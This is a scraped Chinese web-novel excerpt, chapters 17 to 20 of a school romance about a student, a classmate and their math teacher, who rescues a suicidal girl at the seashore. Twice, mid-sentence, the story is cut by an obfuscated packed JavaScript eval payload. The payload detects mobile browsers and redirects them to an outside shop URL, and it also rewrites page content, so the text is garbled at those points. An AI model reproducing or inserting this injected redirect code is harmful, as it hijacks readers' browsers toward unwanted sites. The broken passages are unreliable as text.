在池子正中,静默已久的海豚开始在池子内畅游。池子大概有两百平方米左右,但对于体型硕大的白鲸来说还是略显逼仄。 一道白色的影子穿行于水域,但好似有些怕生,迟迟不敢靠近岸边,那抹清亮的白光潜入蔚蓝,圆润润的脑袋时不时探出水面,面对游人的热情还有点羞涩,接着回归舒适区。 “它怎么一直不靠边啊?”韩明月的视线一直跟随白鲸,手都要挥断了,开玩笑道:“我追星的时候都没这么积极。” 赵栩眼中闪过纯白的光点,眼中笑意淡去几分,“它可能……有点害怕吧。” 两个女孩都在等待海豚的靠岸,丝毫没有注意到身后有人正在悄悄靠近…… 霎时间,原本一直在池子中央打转转的海豚,忽然像是收到了什么感召,改变了方向,在众人惊讶且羡煞的目光中,朝着赵栩的方向游去。 幸福来的有点突然,突然到赵栩还没反应过来,白鲸就乖乖地停在了她的眼前,睁着一双无害的小眼睛,眼巴巴的瞅着她。 “它怎么……突然改变了方向?”她顿觉奇怪,无措地笑了笑。 徐仲仪探出脑袋,自然而然地站在她身边,如无其事地科普:“据说啊,这个鲸鱼喜欢长得好看的人。” 韩明月倒是不奇怪他是从哪儿钻出来的,只是浑身起鸡皮疙瘩,对此吐槽道:“你好油啊。” 徐仲仪清清嗓子,双臂撑在围栏上,重心降低,呈侧身仰视的角度,注视着赵栩的眼睛,语气是他都没察觉到的柔和。 “你摸摸它,再不摸就要走了。” 韩明月觉得肉麻,但她不想说话,此时只能配合:“是啊是啊,摸摸它。” 赵栩迟疑地伸出手,又怕自己的触碰给它造成不适,唯有慢慢靠近,待她碰到海豚的身子时,掌心软软的,又凉凉的。 面对如此可爱的注视,海豚摆尾偶尔扬起的几滴海水,好似可以融化她的心。 海豚似乎很是受用,在赵栩惊奇的眼神里,又靠近一些,把脑袋向上拱了拱。 赵栩像是给小猫顺毛般抚摸着海豚,接着忽然想到什么,缓缓凑近海豚。 徐仲仪则是同样想到了一种可能性,瞪大眼睛,手比想法快,抢先一步把手隔断在海豚和赵栩中间。 待赵栩反应过来的时候,已经晚了…… 她的嘴唇,正好落在男孩的掌心。 电流以手心为起始点,从直流变交流,仿佛身上的每一寸肌肤都是导体,酥酥麻麻的触感很快遍布男孩的全身。 “你你你你……性.骚扰吧!”韩明月大惊失色,猛然把徐仲仪扯开。 男生在惊喜的呆滞中尚未复苏,精壮的块头被不设防一推,差点没站稳,脚下步子像他的思绪一样乱,扶住栏杆才算站稳。 而心跳像是开了倍速,咚咚咚撞个不停,要不是他的胸肌比脸皮还厚,恐怕下一秒就要晕过去了。 赵栩的脸红得像是能挤出番茄汁,难以置信地盯着他,希望他能给出一个解释。 “我我我没没没……”徐仲仪本来语言组织能力就差,这下子更是慌了神,一个劲的摆手,一米八八的大男生看起来格外委屈。 他真是冤枉的,本来只想拦住她,没成想被猝不及防亲了一下手心。 陷入的闹剧的少男少女,丝毫没有注意到,来自池子对面的注视。 那人把方才的一幕,尽收眼底,眸中的倒影的海蓝色随即黯淡。 秦暮野移开视线,依旧没有什么表情,让人无法判断他的心情。 在一旁的路也看来,忽觉身子冷飕飕的,好像海豚得罪了他似的。 18. 春天不是读书天(4) 在赵栩和韩明月审视的目光中,徐仲仪的表情极为复杂,想笑不敢笑,同时又很委屈。 他好不容易平复好心情,难得底气不足地说:“我以为你要像网上拍照那样……和它亲嘴。” “海豚身上有细菌,不太干净。” 听到对方如此自然的说出那两个字,赵栩不由得面庞发热,觉得此人莫名其妙,反驳道:“我只是想看看海豚有没有眼白,仅此而已!!” “哦……”徐仲仪把手心和脸颊贴合,避免心虚清清嗓子,心想: 这就对了嘛! 你个海豚什么档次,和她亲? 两人说话的时候,面前的海豚像是受到了其他方向的召唤,突然潜入水中。 赵栩还想阻拦,可显然已经来不及,海豚像是加了个马达,毫不留恋地游向了对面。 “它……”徐仲仪刚反应过来,抬起头时,便对上了对岸那双不辨喜怒的眼睛。 那人手里的口哨,应当是海豚训练专用的。 而正是因为他吹响了口哨,海豚才会离他们远去。 徐仲仪那痞气冷厉的眉目中,此刻笑意全无,唇边勾起一丝冷笑,大胆望了回去,说不清道不明的怒火正在胸膛乱窜。 他想不明白,数学老师就这么喜欢海豚? 非要在他们气氛正好的时候,让它游走? 他还没来得及去对岸理论,就被管理员拦下。 “刚才是你用音频吸引海豚过来的吗?” 作弊的手段被当众戳穿,徐仲仪的脸上很是挂不住,恨不得钻进水池子里和海豚作伴,哪里敢去看赵栩的表情? “叔叔对不起,我以后再也不敢了……”他连续鞠躬,半大个小伙子,头晃得如同捣蒜似的。 待管理员走后,徐仲仪又转身向身边的女孩道歉,才要开口,就被对方打断: “不用道歉,你让我摸到了海豚,谢谢你。”赵栩笑意盈盈。 眼里倒映的波光,与男孩的眸子交汇,让人暗道好险,好似一不小心就会跌入这方静水深流。 徐仲仪很喜欢看她笑,因为她每次笑起来,眉眼都会弯成一个极为好看的弧度。 受制于现在的环境状况,雨过天晴后,天边大抵不会挂出彩虹。 女孩的一颦一笑,早已写作他脑海中的晴雨表。 因为一旦心上有了无云的旷野,便不想看见那双眼睛落雨。 此时在他们的对面,路也急忙拿回老同学手中的哨子,语气亦着急起来:“这个不能随便吹,这是训练海豚专用的。” “抱歉,只想试试。”秦暮野佯作不知,惭愧地笑了笑。 他目送着远处的三人离开,幽暗如墨的瞳孔,似乎在最隐秘之处绽开烟火。 许是今天的海豚太可爱了吧,他想。 …… 海洋馆毗邻大海,从场馆内出来后走出去不远,海风携着清凉的咸味,扑面而来。 赵栩本想和韩明月在海边转转,然后再去找个地方吃饭,谁料徐仲仪和个大型犬似的跟在后面,没话找话,一会儿聊到祁老师老婆怀二胎了,一会儿聊到隔壁大学的八卦,消息渠道十分广泛。 其实放下“大哥”包袱的他,倒是很平易近人,和男女老少都很能聊得来。 韩明月本就外向活泼,倒是很喜欢聊这些闲闻轶事,饶有兴味地问:“你说的那个副教授,长得真那么帅?” “那当然了!”徐仲仪甚是坚定,“我觉得和……我差不多。” 他本来想说比数学老师还帅那么一丢丢,但一想到他刚才把海豚弄走了,就气不打一处来。 赵栩只是在旁默默听着,稍稍偏头眺望身侧的海,并未加入话题。 徐仲仪见她兴致一般,心道他都这么大方的和她们讨论帅哥了,还是没能带动气氛,索性直不搞那些弯弯绕绕的,直接和她对话: “马上就要换位置了,我能和你当同桌吗?” 面对这样直白的邀请,赵栩愕然稍许,对上他恳切的目光,她牵牵唇角,正要婉拒……海风却飘来了海岸的周围一片哗然声,栏杆附近围了几层人,让几人不由得驻足。 “姑娘!你快上来啊!” “有什么事慢慢说!别想不开啊!” “警.察还有多久到啊?救生员在哪儿啊?” “……” 听着此起彼伏的呼喊声,赵栩眯起眼睛,将视线投向距海边几十米外的礁石。 只见身形单薄的女孩,独自坐在礁石上。滚滚巨浪袭来,正正击打在礁石上,倒是没有“卷起千堆雪”的诗意,而是像极了张开獠牙的巨兽。 一溅几米高的海水,落在女孩的身上,将其浑身浇透,而她却不为所动,只留一个坚决且绝望的背影给世人,应该已经对人间毫无留恋。 海边风高浪急,又正值涨潮时分,用不了十几分钟,海水就会漫过浮现在表面的石头,彻底将她在内的礁石淹没。 “我的天哪……她是要跳海吗?”韩明月惊惧不已,捂住嘴巴,声音都在颤抖。 徐仲仪想了想,拨通电话,想要调用家中的私人直升机,却得到了最快一个小时才能来的答案,他又气又急,狠狠骂了一句: “等你来了,黄花菜都凉了。” 赵栩紧抓着栏杆上,手心都在出汗,紧盯着礁石中心的女孩,生怕她一个不慎就为海浪席卷而去。 这时,一个穿着救生衣的天蓝色身影,忽然出现在人们视线下方的沙滩上。在众人的惊呼中,镇定自若,踏着快被淹没的礁石,一步一步向意图轻生的女孩走去…… “秦老师。”赵栩的心蓦然沉了下去,指甲都快要嵌入金属栏杆,海风灌入她的耳朵,震得人耳畔嗡嗡作响。 她的心脏从最低谷,遽然被提到制高点,她望着那人的背影,凉风阵阵刮过眼眶,泪水则不受控制地溢满眼睛,模糊了她的视线。 明明是那般高挺的身姿,在肆虐的海浪面前,竟显得不堪一击。 海风自左向右无情地撞击他,碰撞激起的海浪则是迎面而去,淋湿了他半边身子。 而秦暮野的步伐仅是一滞,就继续走近女孩,直到一个比较合适的距离。 彼时海水漫过他的脚腕,意味着海水已然将浅层的礁石淹没,再也找不到回去的路,他们所站立的地方变成孤岛,情况迫在眉睫。 赵栩怕行人把他留在岸上的鞋子和手机踢飞,用袋子收了起来,提在手上。 此时她所有的忧虑,皆系于那个背影,许是今天的海风甚是喧嚣,吹乱了她的额发,而那几缕头发,被她眼角的泪痕打湿。 赵栩是个感性的人,总是会下意识想到最坏的结果。 比如,她真的很害怕,这个活生生的人下一秒就会永堕深海。 但海水都快要淹过秦暮野的小腿了,他仍站姿从容,不知在和女孩交涉些什么。 仿佛他站立之处不是危险的海域,而是给学生授课的讲台。 几分钟后,围观的群众紧张到连呼吸都忘了,救援队也划着小船靠近他们,大家才敢松一口气。 想要轻生的女孩终于有所动作,握住了秦暮野向她伸出的手,逃离了那块差点宣判她死刑的礁石。 这时海水已经淹没了他的膝盖,女孩的大腿,救援船只在女孩放弃轻生念头的时候如期而至。秦暮野和工作人员把女孩扶到船上,待女孩坐稳后,他坐在了女孩身边,生怕她再度跳下去。 见此状况,围观群众才算放下心来,其中不乏有举着手机全程录像的,被韩明月用手挡住。 “你们录的那个是我老师,小心告你们侵犯肖像权!”韩明月半真半假地威胁他们。 赵栩看到危险解除,长舒了口气,不知不觉间冷风迷了眼睛,她胡乱地用手抹着。 “秦老师……真厉害。”徐仲仪递给她一张纸巾,同时对秦暮野肃然起敬,心道是条汉子! 方才的那点不悦,烟消云散。 女生在救援人员的搀扶下,光着脚踩在坑坑洼洼的楼梯上,正好处于赵栩视野的下方,她连忙跑到周围摆摊的阿姨那里,想要买一双拖鞋。 没想到阿姨甚是豪爽,直接把拖鞋送给了她。 见女孩没事之后,围观群众已经散了个七七八八,赵栩拿过拖鞋,刚一转身,就对上了女孩哭红的眼睛。 女孩原本空洞无光的眼里,因为有了眼泪,才折射出微弱的光芒。 正应如此,能哭出来也许是一件好事。 不知道为什么,那道目光仿佛一眼就能看到了自己的内心深处,赵栩的胸前陡然布满了密密麻麻的倒刺,萌生出一种近乎感同身受的情感。 她缓步走到其身边,女孩也向她靠近一步,却因腿部僵直良久,脚下一软,赵栩眼疾手快扶住了对方,并将其搀扶到路边的长椅上。 秦暮野上来后,则是先去找鞋,但许是围观群众太多,可能被人踢海里了,他赤脚站在水泥地上,训了一圈无果。 救人把鞋救没了。 “老师,这您的鞋和手机。” 全程跟在大哥身后的关毅,在徐仲仪围在赵栩身边寸步不离的时候,自然要承担跑腿的任务,他把赵栩替老师收好的物品,一并交给他。 秦暮野接过袋子,“谢谢你。”然后看了看袋子里的东西,除了手机和脱下的鞋,还有一包纸巾和拖鞋。 关毅生性健谈,叹了一口气,不禁说道:“刚才您这一下去,我们是真害怕了。都怕您没把人救上来,自己先掉海里去。” 对于这番虽表关心但不太吉利的说法,秦暮野抬眸看向男孩那双实诚的小单眼皮,无奈笑笑,“这倒不用担心……” 关毅想到什么,心有不忍,“老师您是不知道,您在下面救人的时候,赵栩都担心哭了。”说到这里,男生愈发不休,毕竟看到漂亮女孩流眼泪,心里也不好受。 “前几天我还看了个电视剧,背景是战争时代,剧里那个飞行员男主要出去执行任务,赵栩就当时女主的眼神一模一样,生离死别似的,可让人难过了。” 秦暮野动作一滞,继续低头擦拭膝盖,可能是粗沙沾到了膝盖弯,他此时手上的力气又没用准,不小心磨破了皮肤,渗出了轻微的血丝。 “你会不会说话。”徐仲仪从后面阔步而来,掐着腰纠正:“还生离死别,还男主女主……” 韩明月走到秦暮野前面,略微担忧地打量了一番,“老师你想吃什么?我和徐仲仪正打算去买点。” “我不吃了,谢谢。”秦暮野扫视一圈,不由得问道:“那个女生怎么样了?” 韩明月指向十几米外的长椅,回答:“栩栩在那里陪着她。” …… 几个学生去周边买饭,而秦暮野站在原处吹了一会儿海风,平静的目光穿过海面,纵然海鸥顺风振翅,亦难到达生死的彼岸。 他收起突如其来的感伤,目光投向距离不远的长椅,因为赵栩帮他保管了鞋子和手机,于情于理他都要表达一下感谢。 他从袋子里拿出拖鞋的那一刻,不禁愣了几秒,唇边溢出浅浅的笑。 那是一双明黄色的鸭鸭拖鞋,鸭子头从鞋面上探出,估计压两下还能发出嘎嘎的响声,属实比较可爱显眼。 秦暮野把鸭鸭拖鞋提到眼前,端详了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女孩茫然地看向她,等待着她的故事,可是赵栩并没有讲故事的打算。 换句话说,她打算一辈子把那个沉重的故事封锁起来,任谁都拿不到开锁的钥匙。 因为,她早就把钥匙顺手丢在岁月的迷惘之中,得过且过。 赵栩咽回喉咙的苦涩,拍拍女孩的手。 “我们……一定要过得更好,说不定哪天就把那群人渣熬死了。” 阴云恰好散去,阳光漫过层云,几束暖光打在她的脸上,世界好像因她而明媚,笑容亦被照亮。 女孩看到赵栩眼里的光,蓦然间被那种生命力所撼,“死”这个字,像是被暂时清出了字典。 不远处驻足的秦暮野,则是从低吟的海风中,清楚地过滤出了“我们”两个字,缓缓抬眸,企图看清那人的表情。 但是他的眼睛好似失了焦,亦或是,不该有的猜测涣散了眸光。 可能只是安慰之语吧,他想。 感伤不宜停留太久,赵栩换了个话题,“其实我有点好奇,刚才我老师和你说了什么?” 女孩思忖片刻,破涕为笑:“他是不是没有女朋友啊?” “应该吧……”赵栩有点疑惑,为什么突然扯到这个。 女孩晃了晃脚,耸耸肩膀,“他看着挺斯文的,没想到讲起话来那么直男。” “能看出来是当老师的……劝起人来和讲课似的。”女孩笑了笑,“居然还和我分析了一下,今天跳海死亡的概率极低。” “还说什么,建议我去学个游泳,如果被卷进海里了也不会太被动。” 这番话堪称大跌眼镜,赵栩一时竟接不上话。 这哪里是劝人?更像是某种程度上的“交流经验”,而且如果站在秦暮野对面的人是赵栩,她会觉得对方有病。 她曾看过一个电影,电影里的女主角曾受人凌虐,转到新学校后,旧事却遭重提,安静的生活再度打破。(1) 电影的结尾,就是她跳进海里,再度游走。 因为电影里曾多次提过,她学游泳,就是为了有一天跳海的时候可以反悔。 当然,那时的秦暮野为了救人,是在用激将法逼着女孩上岸。 不久之后,女孩的家人就来把她接走了,而韩明月他们没有回来,赵栩的身边再度归于空荡,她揉了揉酸涩的脸颊,为着今日多样的情绪轮番登场,顿觉疲惫不已,困意袭来。 她垂下脑袋,盯着地面,刚想闭眼小憩,两只可爱的“小鸭子”忽然出现在眼前。 赵栩顺着“小鸭子”往上看,正好与数学老师对视。 秦暮野抬起头,佯装去看垂下的树叶,“谢谢。”然后轻声叮嘱:“收一下钱。” 赵栩睡意全无,疑惑地望着他,待人走远后,打开手机微信: 233r转账 这双拖鞋是白送的,就算是买的也不过十块钱,他给那么多钱干嘛? 她探头看向他的背影,不明所以。 秦暮野走路时,则是罕见地低头,时不时去看拖鞋上的两只鸭鸭头,越看越喜庆,眸中藏不住笑意。 其实他也不知道转多少合适,就随便转个数额,权当是买了一天的好心情。 何况……不能让她站在岸边白哭一场,让人家平白担了心事,他心里也怪过意不去的。 但,秦暮野可能很久之后才会听到实情…… 赵栩也是多年后的一个契机,才找到机会和他解释: 她那天不是因为担心他而掉眼泪,只是迎风流泪,仅此而已。 19. 遇见你之前(1) 距离全市高中的期中统考还有不到十天的时间,前些日子的全年级数学模拟统测成绩出来了,体育课的时间,秦暮野和二班班主任祁老师在办公室分析这次成绩。 鉴于二班相较于月考那次进步不少,祁老师很是开心。 “咱班这次模考成绩不错,希望等他们到了期中考试那天,能继续保持。”他指着成绩单上的分数,一个一个分析,“就像韩明月,从高一开始就是数学老大难,这次居然一百多分!!” “多亏了你啊,秦老师!” 秦暮野淡然一笑,“是他们自己努力,从作业就能看出来。” 祁老师又把视线移到成绩单最顶端,委婉地说:“咱班数学成绩偏中下的学生进步都挺大,只是这个前面的……” 秦暮野顺着他手指的方向看了过去: [赵栩,121分,数学班级排名:15] 赵栩作为班级第一,年级前十的种子选手,她的成绩确实格外受关注一点。 祁老师接着说:“别的不说,她的语文和英语实在厉害,基本上单科稳年纪前三。” “但是……这个数学成绩又退步了,我挺担心她这次期中。” 秦暮野思忖片刻,道:“可能是遇到瓶颈期了。”怕对方理解不了,继续补充:“她之前的那套学习方法能让她达到120分的高度,如果要达到更高的层次……” “报告!” 两人的交谈被打断,一齐看向门口手捧习题册的徐仲仪。 祁老师对于班里这个混小子能主动到办公室请教问题,十分欣慰。 “稀客啊。”祁老师把桌子上的几本书清走,“先稍微等一下,我和秦老师分析完成绩,再给你讲题。” 徐仲仪立正站好,桀骜的眉眼此时也低顺下来,笑得乖巧:“老师我不是来问题的!” 祁老师嘴角的笑容立刻消失,讪讪地笑:“好……” 徐仲仪注意到了老师的尴尬,索性乘胜追击,问:“祁老师,期中考试之后要换位置吗?” “嗯。”祁老师盯着他那张隐含期待的脸,知道他没憋什么好想法,说:“我是要按照成绩重新划分座位,如果你想和关毅同桌,告诉你门都没有!” 徐仲仪深吸一口气,再抬起眼眸时,眼神无比真诚。 “老师,我想和赵栩当同桌。” 此言一出,办公室里陷入了死一般的寂静,祁老师对他如此直接的要求,气得笑出了声,“都把自己和同学安排得明明白白了,要不这个班主任你来当?” 作为有着接近二十年教学经验的老师,班里谁喜欢谁,谁和谁谈恋爱了,祁老师哪能看不出来。 “不不不。”徐仲仪急忙摇摇头,愈发心虚:“老师我的语数英政史地都不是太好,想向好同学多请教请教……” 祁老师注意到同事还在一旁,心想真是班门不幸,让任课老师在这里看笑话,俗话说教育学生要关起门来教育,但现下这个情况,他都不好意思赶人家走。 他扶了扶眼镜,讲起了道理:“大家都想和班级第一当同桌,要照你这么说,赵栩每天换一个同桌才比较公平,是不是?” 徐仲仪小声嘀咕:“不用这么麻烦……” 言外之意,和我一直当同桌,不就省去了换位置的麻烦吗? 秦暮野手持成绩单,只当一名安静的旁观者,在每题的小分那里圈画着。 听着男生“指定同桌”的无理要求,他正好看到了徐仲仪的得分,瞥到“第22题第2问得分0”那一栏时,忍不住反复画了五六个圈,直至把A4纸划穿。 祁老师很是捉摸不透这位大少爷的脑回路,忍住想要暴走的情绪,问:“你怎么知道人家愿意和你当同桌?” “同桌是要相互促进的,我怕你这个状态耽误人家。” 出于班主任的考量,如果再让他重新排座次,会优先考虑安排同性同桌,以免去一些不必要的麻烦。 徐仲仪想和赵栩当同桌,说到底只是他的一厢情愿,离开办公室之后,他捧着数学习题册,才记起自己此行的目的,在走廊上叫住数学老师。 秦暮野接过他的习题册,翻了几页,有些惊讶:“做了这么多题?” 徐仲仪心不在焉点点头,然后病急乱投医,求助似的问:“秦老师,如果我想和赵栩当同桌,还有什么办法?” 秦暮野翻阅试卷的手一顿,接着按下中性笔开始演算。 他没有什么太好的办法,更不想支招,只得漫不经心地说: “试着进步一些,比如一百名。” 徐仲仪大致水平在年级两百多名,在四中这个水平其实算是中等,再进一百名谈何容易,他看似是随口一说,实则是想让他知难而退。 谁知,这歪打正着地给他指明了方向,徐仲仪眼前一亮。 思维早已漫游到火星的他,脑海里只有一个想法: 如果将来我能和赵栩在一起,秦老师一定要坐主桌!^.^ …… *期中考试当天 本次考试的座次是按照月考成绩划分的,所以赵栩仍然在第一考场,她捧着错题本,在考场门口踱来踱去,企图临时让知识快速入脑。 下午第一门考数学,于是她连在午休的时候,脑子里都是挥之不去的数学公式,自然没有休息好,以至于现在头脑不是十分清明。 每逢数学考试前,赵栩心里总会有种莫名的焦虑,加之前几次的退步,这次的焦虑尤甚,她更想通过这次考试证明自己,可是她稍显急促的步伐,已经暴露了她的不安。 当她还在低头看公式,一道淡蓝色的身影从她身旁经过,留下了清冽的水生香,在一瞬间按住了她复杂的心绪。 “快到点了,进来准备一下吧。”秦暮野站在考场门口,招呼学生们进来考试。 赵栩把笔记放回书包,在门口排队,等待金属检测器的检查,实际上盯着地板,回想那几个易混淆的公式。 “同学,同学,到你了。” 赵栩身后传来提醒的声音,抬起头,才发现轮到自己了。 她懵懵懂懂地点点头,快步走上前,站定在数学老师跟前,像以往接受检查一样,伸展开双臂。 可当她保持这个拥抱的姿势五秒钟后,对方却并无动作。 秦暮野手持金属检测器,愣怔片刻,然后示意:“女生在那边……” 赵栩稍稍偏头,才发现男女的检查是分开的,更加窘于自己居然保持了这个尴尬的姿势——长达五秒以上! 听着身后似有似无的笑声,她垂下脑袋,从数学老师和课桌的空档间快速溜了。 同时脸上升起两团红晕,更不想考这个破试了! 秦暮野检查完无误后,准备上讲台拆封试卷,余光无意间瞥到了女孩的背影。 依旧是清爽明媚的高马尾。 唯有一双耳朵,红得显眼。 铃声响起之后,赵栩将方才的小插曲抛之脑后,专心致志地做起题来,起初的填空选择还算顺手,都在她的掌控范围内,心情也逐渐放松下来。 她怀着扳回一局的心态,自信地翻过试卷,开始写大题,写着写着,表情逐渐僵硬。 在讲台上监考的秦暮野,没有下去巡视的习惯,恰好第一排有人缺考,他简单扫了一眼试卷,心下有了计较。 整体难度不高,只是题目的分布比较奇怪,前两道大题出得偏难怪,后面三道反而出得过分简单。 如果有死脑筋的学生非要按照出题顺序做,那才是大大的不妙。 很不巧,赵栩就是个不太懂的变通的人。 在面对这两道,虽然偏难、但在复习范围之内的难题,她突然就犯了犟,一定要把它做出来! 题目的计算量很大,赵栩手里的一张演草纸不够,她连忙举起示意。 秦暮野会意,拿出两张演草纸递给她。 他瞥见那张用完的纸,上面全是密密麻麻的验算,就知道她在和难题硬磕,暗自摇了摇头,却不能当场提醒。 此时赵栩并没有意识到事情的严重性,待她很有把握地做完前两个大题时,抬头看表,眼神都僵直了,心跳猛地加快。 也就是说,她要用半个小时的时间,解决三道大题。 赵栩顾不上懊恼了,连忙翻卷子开始做题,她也不知道生死时速半小时是怎么度过的,只记得写到后面,她都忘记了自己在写什么,手心冒汗,慌张得心脏都快要跳出来。 铃声没有眷顾她,如期响起,而她的最后一个大题只写了一个公式。 “时间到,请大家放下笔。”秦暮野掠视一周,声音不大却震慑力十足,有的学生怕被判作弊也不敢再写。 他和另一位监考老师,一人一半,挨个到位置上去收答题卡。 走到赵栩身边时,只见她还在奋笔疾书,没有停笔的意思,从她不稳的呼吸声里能听出,想必她着急到了极致。 在众人的注视下,秦暮野站定课桌的正前方,阴影正好遮挡在学生的试卷上,沉声提醒:“不要再写了。” 赵栩仍沉浸在自己的世界里,下意识地摇头,握笔的手都在微微发抖,写题已然成了机械动作。 全市考场的监控都是联网的,他担心再这样下去,学生会被判作弊,于是未经思索,直接伸手去抽她的答题卡。 赵栩终于如梦初醒,忽觉喘不上气来,眼睁睁地看着自己的答题卡被抽走,眼睁睁地看着…… 自己的中性笔在老师的衬衫袖口上,划了一道拐弯的线。 后知后觉间,她的额头都浮现出一层薄汗,整个人走出考场时都晕乎乎的。 身处吵闹的走廊里,赵栩只剩下孤独与懊悔,恨不得抽自己两巴掌。 她缓步踏在走廊,脑袋里全是那场抓马的数学考试,以及自己的不顾死活的做题法,心里憋闷又委屈。 不过比起这个…… 赵栩突然想起什么,瞪大眼睛。 她是不是用笔划了老师那件看起来很贵的衬衣! …… 晚修时分,赵栩一边复习地理,一边还惦记着这个事,总觉得冒犯到了老师,应该给人家道个歉。 正想着这件事,秦暮野从门口迈着长腿走了进来,由于赵栩坐在第一排,不需要抬头,都能感受到那阵清凉舒适的香水味。 他站在讲台上环视一周,就点清了人数,在册子上做了登记之后,便匆匆前往下一个班级。 赵栩思考了一会儿事情的利害,出于对老师的敬畏心,随手揣着地理卷子走了出去。 各班都在上自习,走廊里格外寂静,窗外夜色如墨,是一个透不过月色的阴天,故而墙壁映出的L ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641028|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ED灯光显得格外惨白。 她刚走出班级,秦暮野就听到了身后的声音,转过身来。 猝不及防之间,赵栩与他视线交汇,对上那双漆黑的眸子,心里忽然有点慌。 还没等对方开口,她正正神色,率先道歉:“抱歉老师,今天考试我是不是用笔划到您的衬衫了。” 秦暮野回想片刻,眼神中掠过一丝疑惑,根本不记得有这回事。他抬起左手,才发现腕处确实有一道中性笔划痕,轻声回答: “没关系。” 赵栩捏紧了卷子边缘,不自觉的抿着嘴,想要回班,腿却迈不动。 表面上来看,她找数学老师似乎是因为“用笔划到衬衫的事”。 但实际上,赵栩似乎有更重要、但难以表达的事绕在嘴边,却不知如何开口。 秦暮野看出了她的为难,向前走了一步,放轻语气:“数学已经考完了,不要再去想它。” “可是……我最后一道大题没写。”老师说中了她的心事,赵栩刚压下去不久的委屈重新浮现。 按理来说,她不该和老师这样说话。 可是潜意识里,她总觉得向面前之人倾诉,就能得到想要的答案,而非空洞的安慰之语。 秦暮野看向窗外,喉间溢出了低沉的笑声,而后在女孩不解的目光里,徐徐开口:“我高中三年以来,唯一没写完语文作文的一场考试,就是高考。” “那您最后考了多少分?”赵栩刚问完这话就后悔了。 毕竟一个本科清华的人,再差能差到哪去? 秦暮野回答:“五百四十五。” 沪上市当年高考的满分是六百。 赵栩顿时语塞,很想拔腿就走,心道就不该和这样的人寻求认同感。 “你别误会,我没有炫耀的意思。”秦暮野浅笑,“我只是想说,现在少做了一道题,就当是教训了。” “你看重分数,或者会在意别人的目光,这都是没有必要的。” “就像我现在说,我认为你勤学好问,基础扎实,努力又认真,天赋也不差,而且很有一套自己的方法,考到一百四十分指日可待……” “但这只是我的单方面评价,如果要达到你所满意的高度,还需要你自己发挥主观能动性。” 也许是走廊的灯太亮了,亮到足以模糊虚实。 就像平时上课那样,赵栩认真盯着他的眼睛,微冷的眉目之下,仿佛藏着星河鹭起。 她头一次觉得,其中似有魔力。 有些人的眼睛,看第一次也许会晃眼,第二眼却会眩晕。 若是再有第三眼,就有摄魂取魄的奇效。 赵栩移开视线,突然觉得喉咙发干。许是被夸得有点不好意思了,她的脸颊稍微发烫,嘴角也不禁上扬。 “谢谢老师。” 秦暮野微微颔首,随后注意到她手里的地理卷子,问:“是要去找地理老师吗?” “嗯……是。” 赵栩含糊地回答,其实并没有去找老师的意思,只是出门顺手就带上了。 “地理办公室锁门了。”秦暮野顿了顿,“如果着急的话,我可以看看。” “好。” 赵栩摊开试卷,随手指了一道尚存疑虑的错题,“这个时差的题……” 秦暮野审了一遍题干,自己先在草稿纸上做了一遍,用箭头建立两地的关系。 水生香调狭窄的走廊里,似是为皎洁的月光扩散。 像是把月亮投进水里,溅落了满身霁华。 一个不小心,亦沾染了女孩的衣摆,漫入心扉。 赵栩其实很愿意靠近这些香香的人。 她有时会想,他是不需要吃饭的吗? 其余人从食堂出来,在之后的几个小时里,身上总会有隐约的油烟味。 只有他,和香水瓶成精了似的,身上总有淡淡的香味。 趁老师做题的同时,偷偷打量他的侧颜。 明亮的灯光散落,刻画出极为优越的骨相;另一边夜色暗涌,衬得其人月白风清,气质出尘。 赵栩闭上眼睛使劲摇了摇头,深吸一口气,以平复那份异样且陌生的心绪。 随着视线下移,她注意到了对方袖口处的那道中性笔划痕,弯弯曲曲,甚是显眼,只是再细看一下…… 她忽然笑出了声。 秦暮野抬眸看她,眼神中流露出不解。 “老师,您袖口这道划痕,有点像半边兔子耳朵。” 今晚的交谈比较愉快,她偶尔也敢大着胆子开玩笑。 秦暮野顺着她手指的方向,注视了几秒,墨玉般的眸子里,刚划过一丝笑意,顷刻间却坠入幽谷。 他面无表情地收回目光,不为所动,然后一板一眼地给学生讲起题目。 赵栩见他像个人机,心里没来由的气恼,暗自鄙视他: 你这种人等着单身一辈子吧! …… 登记完各班的晚自习之后,秦暮野向着办公室走去。 借着灯光,他扬起手臂,细细端详起袖口处那道划痕。 黑笔的划痕弯弯曲曲,突然一升一降,是很像半边兔子耳朵。 秦暮野被灯光照得短暂一晃神,眉心微动,随后拿出中性笔,手起笔落…… 补全了另一只兔子耳朵。 20. 遇见你之前(2) [遇见你之前,万物皆孤独。 遇见你之后,余生只有你。 ——评《遇见你之前》] 为期三天的期中考试结束了,学生们的欢声笑语回荡在通往四中的道路上,恰逢今日天气放晴,举目四望不见云层,唯有一片水洗过的湛蓝铺开在天际。 彼时一辆淡粉色的宾利驶过,引得路人纷纷驻足。 坐在车子后座的徐仲仪,百无聊赖地用手指碰着车窗玻璃玩,一点一圈,一会儿把路旁哭闹的小孩,用病句修改符号“删除”,一会儿在不遵守交通规则的车子上,打个大大的叉号。 车子开出别墅区有一段路了,他靠在椅背上,神色慵懒。 “陈叔叔,您把我放在地铁口就行,我坐地铁去学校。” 陈司机是徐仲仪父亲徐董事长的专用司机,此番领了送小少爷上学的任务,对这个要求有些为难:“小少爷,您是不是没太坐过地铁?” “这个点地铁可挤了,再来三班都不一定能挤上去,现在已经快六点半了,等你到学校早就迟到了。” 徐仲仪微蹙眉头,“都什么年代了,别这么叫我。”然后冲副驾驶扬扬下巴,向陈司机示意:“等会儿还要绕道把她送去学校,她不就要迟到了?” 